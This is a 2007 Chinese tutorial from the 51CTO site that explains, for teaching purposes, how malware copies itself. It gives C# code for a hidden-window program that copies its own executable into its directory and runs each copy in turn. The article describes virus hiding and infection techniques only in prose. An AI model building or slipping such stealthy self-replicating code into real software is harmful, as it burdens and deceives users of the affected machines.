频 道 直 达 - 新闻 - 读书 - 培训 - 教程 - 前沿 - 组网 - 系统应用 - 安全 - 编程 - 存储 - 操作系统 - 数据库 - 服务器 - 专题 - 产品 - 案例库 - 技术圈 - 博客 - BBS
51CTO.COM_中国领先的IT技术网站
找资料:

病毒及流氓软件自我复制的简单实现(C#)

作者: Anature 出处:天极开发  (  ) 砖  (  ) 好  评论 ( ) 条  进入论坛
更新时间:2007-01-26 10:20
关 键 词:C#  病毒  流氓软件  复制
阅读提示:本文用C#简单的实现了一个能够自我复制的小小的恶意程序,仅供大家知道病毒及流氓软件的自我复制原理。

最近朋友的电脑中了病毒,让我跑了三次,费了九牛二虎之力,几种杀毒软件还是没有能把病毒全清除掉,最后没有办法,只能把资料复制出来,把硬盘重新分区了再装系统,装上了可以免费使用的AntiVir,于是乎世界终于清静。

不仅因为Windows系统的脆弱,而且因为病毒无休止的自我复制和满硬盘的藏匿,使得我们脆弱的神经不堪重负,面对千疮百孔,有着莫名其妙而又千奇百怪的名字文件夹和文件的系统,相信大多数人都会选择重装系统。病毒和流氓软件总是让人气愤!那么,计算机程序怎么实现自我复制呢?其实这非常的简单。下面我将用C#简单的实现一个能够自我复制的小小的恶意程序。

程序要实现下面几个功能。

第一,运行时不出现运行界面,当然,在任务管理器里,还是可以看到进程的,道行再深的病毒也不可能无迹可寻。

第二,程序在运行目录下自我复制n份。

第三,采用递归复制的方法,即第一个程序生成第二个程序,第二个程序生成第三个程序,以此类推。

源代码很简单,下面来分析一下:

35 // 不在任务栏显示
36 this.ShowInTaskbar = false;
37 // 窗体透明
38 this.Opacity = 0;

System.Windows.Forms.Form类封装了一般的Windows窗口程序大部分特性,极大的简化窗口界面的设计过程,上面这两个属性用于隐藏我们的程序的运行状态,第一个ShowInTaskbar属性,设置为否时,程序就不会在状态栏上面显示。第二个Opacity属性,表示窗口的不透明度,取值在0到100之间。0%的不透明度也就是100%透明了。这样,在程序运行时,你就看不见窗体了。

44 // 默认复制次数
45 const int TOTAL = 100;
46 int _count = TOTAL;
47 // 正在运行的程序路径和文件名
48 string _file = Application.ExecutablePath;
49 // 正在运行的程序路径
50 string _path = Application.StartupPath;
51 // 正在运行的程序文件名
52 string _name = _file.Replace(string.Format("{0}\\", _path), string.Empty).ToLower();
53 try
54 {
55  _count = int.Parse(_name.Replace(".exe", string.Empty));
56  _count--;
57 }
58 catch
59 {
60 }
61 finally
62 {
63 }
64 // 目标文件
65 string _target = string.Format("{0}\\{1}.exe", _path, _count.ToString("000"));


Application类提供了获取程序运行绝对路径并包括文件名的属性和程序运行绝对路径的文件名属性,竟然不直接提供一个文件名的属性,好奇怪。正规的截取文件名的方法应该根据"\"来判断,这里采用了替换的方法,大家可以思考一下如果用SubString怎么实现。55和56行,如果文件名不是数字,那么从100.exe开始生成,如果你执行了10000.exe的文件,那么狠糟糕,你可能需要注销一下当前用户来终止程序运行,当然,让它运行也不会有多大影响。最后,65行,我们把目标锁定在程序的当前目录下。病毒和流氓软件就没有那么客气了,经常它可能会选择磁盘根目录、C:\Winodws、C:\Windows\System32或者其他重要的系统目录中。而且病毒采用了随机的命名方式或者是模仿系统文件名称的固定命名方式,以达到隐藏自身和迷惑用户的目的。

67 if ((File.Exists(_file)) && (_count > 0))
68 {
69  // 复制
70  FileStream _fileStream = File.Open(_file, FileMode.Open,

FileAccess.Read, FileShare.ReadWrite);
71  byte[] _buffer = new byte[_fileStream.Length];
72  _fileStream.Read(_buffer, 0, _buffer.Length);
73  _fileStream.Close();
74  // 如果目标已存在,删除
75  if (File.Exists(_target))
76  {
77 File.Delete(_target);
78  }
79  // 粘贴
80  FileStream _writer = File.Open(_target, FileMode.OpenOrCreate,

FileAccess.ReadWrite, FileShare.None);
81  _writer.Write(_buffer, 0, _buffer.Length);
82  _writer.Close();
83  // 运行刚复制完成的程序
84  System.Diagnostics.Process.Start(new System.Diagnostics.ProcessStartInfo(_target));
85 }
86 Application.Exit();


最后,我们来完成第三个目标,自我复制并且运行复制好的新程序。前面我们得到了_file程序运行绝对路径并包括文件名,这样,我们就可以打开并读取它了。File是文件操作的静态方法,它只负责打开,关闭,创建和删除文件,对文件的读写,就要由FileStream来操作了。这里只是整个复制文件,非常的简单。病毒的特性是可以附加到别的程序或文件上,整个过程就比较复杂了。首先,需要非常了解可执行文件的结构,把原来的可执行文件分解,并且把自身也进行分解,然后重新组合成一个新的可执行文件,但是执行的次序已经改变了,程序开始会先跳转到病毒代码,保证病毒能够被执行后,再跳转回正常的程序代码,以使病毒能够得以在隐藏的状态下执行。84行调用了新复制完成的程序。以使得新复制的程序能够自动运行,并且进行下一次的复制。同样的道理,现在非常多的软件都提供了自动更新的功能,它的原理基本也是这样,下载升级包,主程序调用升级程序,如果有必要,主程序会先退出,升级程序完成对主程序或者其他文件的复制更新,然后再重新调用主程序。由此可见,计算机的功能是没有好坏之分的。病毒能够运用的原理,普通程序当然也能够利用。水能载舟亦能覆舟就是这个道理。

(责任编辑 火凤凰 sunsj@51cto.com  TEL:(010)68476636-8007)


发表
查看
我也说两句

匿名发表

(如果看不清请点击图片进行更换)


中 国 领 先 的 IT 技 术 网 站 ·
技 术 成 就 梦 想
订阅技术快讯
电子杂志下载
名称:网络安全精品应用黄皮书
简介:《2007精品网络安全黄皮书》包括了9个大类24个小类, 800余篇文章,内容包含了熊猫烧香病毒、DDOS攻击、ARP病等热点问题的介绍及解决方案。从病毒查杀、防范、系统、数据等各方面的安全设置到黑客技术的了解、防范,涉及到了安全应用的全部领域, 由浅至深内容全面。
名称:Vista精品应用黄皮书
简介:《Vista精品应用黄皮书》囊括了Vista的各方面内容。此次的精简版,是将里面的内容做了提取,便于用户下载和使用。内容包含了各种Vista的安装与实施、技巧与解析以及各种Vista相关学习文档和相关软件的安全下载。该电子书是了解和应用Vista人员必备的工具手册,并且也是第一本
名称:2006中国IT论坛精品集合
简介:本书由“51CTO论坛推广联盟”制作完成。书中所有内容均来自各联盟成员的论坛(网站)。制作本书的目的是为了集中大家的优势资源,将更多更精彩的内容带给广大技术爱好者。本书是联盟成立以来制作的第一本书。
关键字阅读
频道精选
主编信箱 热线:010-66476606 告诉我们您想看的:专题 文章
关于我们 | 诚聘英才 | 联系我们 | 网站大事 | 意见反馈 | 网站地图
Copyright©2005-2007 51CTO.COM 版权所有